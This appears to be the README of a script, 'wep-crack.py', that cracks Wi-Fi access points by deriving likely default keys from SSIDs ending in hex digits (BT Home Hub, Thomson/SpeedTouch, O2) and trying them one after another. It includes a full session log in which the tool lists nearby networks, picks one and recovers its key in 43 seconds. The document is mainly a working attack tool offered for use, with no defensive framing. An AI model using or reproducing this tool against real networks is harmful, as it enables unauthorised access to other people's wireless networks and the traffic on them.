These scripts exploit the lack of entropy (as in randomness) exhibited by many common access points. Those with SSID (network names) that end with 4 or 6 hexadecimal digita, e.g. CYTA22B481, BTHomeHub-D1D1, O2wireless8FE2F6.
They don't actually do any clever WEP-related exploit, they simply use the SSID to guess a handful of possible passwords, and then tries them in sequence. See the example session below where a network was selected and the password successfully found in 43 seconds.
In theory, this will work with any form of encryption. If you can guess the password, what good is encryption?
This exploit is based on the following posts:
http://www.gnucitizen.org/blog/default-key-algorithm-in-thomson-and-bt-home-hub-routers/
This session took 43 seconds from beginning to end:
# sudo modprobe -r ipw2200; ./wep-crack.py ; beep
INFO:root:WEP-crack starting
INFO:root:User is not root, will restart as root
INFO:root:WEP-crack starting
INFO:root:User is root, good
INFO:root:rtap0 interface not available
WARNING:root:ipw2200 was not already loaded
INFO:root:Reloaded ipw2200 with rtap0 interface
INFO:root:Waiting for network list to be populated
INFO:iwlist_parser:18 networks in range
INFO:iwlist_parser:0 non-access-point networks removed from list
INFO:iwlist_parser:3 non-encrypted networks removed from list
INFO:iwlist_parser:7 WPA-encrypted networks removed from list
Candidate networks, ordered by signal strength:
0) -67 SpeedTouchD8B3A5
1) -71 BTHomeHub-D1D1
2) -74 BTHomeHub-201F
3) -74 BTHomeHub-13E3
4) -75 O2wireless8FE2F6
5) -77 BTHomeHub-9E68
6) -80 BTHomeHub-E6AA
7) -82 O2wireless926FB1
Select network to crack: 4
Attempting to crack:
ESSID: O2wireless8FE2F6
BSSID: 00:1D:68:69:CF:5D
channel: 1
signal: -75
Checking if DB contains any WEP keys for this network...
Will search for keys matching ['8FE2F6']
85.5MB 0:00:09 [8.65MB/s] [====================================================>] 100%
Found 182 likely keys.
[ 0 / 182 (0.0%) ] ETC: 0 seconds
[ 1 / 182 (0.5%) ] ETC: 547 seconds
[ 2 / 182 (1.1%) ] ETC: 545 seconds
[ 3 / 182 (1.6%) ] ETC: 542 seconds
[ 4 / 182 (2.2%) ] ETC: 539 seconds
[ 5 / 182 (2.7%) ] ETC: 536 seconds
There is already a pid file /var/run/dhclient.pid with pid 134519072
Found key! Key for network O2wireless8FE2F6 is (hex): ABCDEF0123
Leaving network in configured state and quitting